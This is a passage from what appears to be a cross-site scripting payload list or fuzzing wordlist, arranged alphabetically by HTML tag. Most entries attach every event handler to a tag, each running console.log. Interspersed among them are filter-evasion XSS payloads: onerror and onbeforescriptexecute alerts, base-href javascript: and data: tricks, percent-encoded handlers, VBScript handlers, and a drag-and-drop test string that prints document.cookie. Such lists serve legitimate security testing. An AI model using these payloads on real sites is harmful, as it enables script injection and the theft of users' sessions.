ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</address>
<anything onbeforescriptexecute=confirm(1)>
<applet code="javascript:confirm(1);">
<applet onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</applet>
<applet onerror=alert('xss')>
<applet/object onerror=alert('XSS')>
<applet/object onerror=alert(1)>
<area onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" alt="text" coords="coordinates" download="filename" href="URL" hreflang="language_code" media="media query" nohref="value" rel="alternate" shape="default" target="_blank" type="media_type">Test</area>
<article onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</article>
<article xmlns="><img src=x onerror=alert(1)"></article>
<article xmlns="x:img src=x onerror=alert(1) ">
<aside onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</aside>
<audio onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" Internet Explorer="YES" Chrome="YES" Firefox="YES" Safari="YES" Opera="YES">Test</audio>
<audio src="data:audio/mp3,%FF%F3%84%C4%FF%F3%14% C4" oncanplay="alert(1)">
<audio src=x onerror=prompt(1);>
<b "<script>alert(1)</script>
<b <script>alert(1)//</script>0</script></b>
<b onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</b>
<b onbeforescriptexecute=alert(1)>
<b/%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35mouseover=alert(1)>
<b/alt="1"onmouseover=InputBox+1 language=vbs>test</b>
<b/alt="1"onmouseover=InputBox+1language=vbs>X</b>
<b><script<b></b><alert(1)</script </b></b>
<b>drag and drop one of the following strings to the drop box:</b><br/><hr/>jAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/>feed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/>feed:data:text/html,<script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)</script><b><br/><hr/>feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/><div id="dropbox" style="height: 360px;width: 500px;border: 5px solid #000;position: relative;" ondragover="event.preventDefault()">+ Drop Box +</div>
<base href="data:\"><link rel=import href='q,<script>alert(1)</script>'>
<base href="javascript:/"><a href="**/alert(1)">
<base href="javascript:\"> <a href="//%0aalert(5);//">
<base href="mailto://any/<img src="bod#y"></script>
<base href=data:/,-alert(1)/>
<base href=data:/,0/><script src=alert(1)></script>
<base href=data:/,alert(1)/><script src="jquery.js"></script>
<base href=javascript:/0/><iframe src=,alert(1)></iframe>
<base onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</base>
<base target="<script>alert(1)</script>">
<base+href="javascript:alert(1);//">
<basefont onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</basefont>
<bdi onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</bdi>
<bdo onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</bdo>
<bgsound onpropertychange=alert(1)>
<bgsound src="javascript:document.cookie=true;">
<bgsound+src="javascript:alert(1);">
<big onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</big>
<blockquote onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" 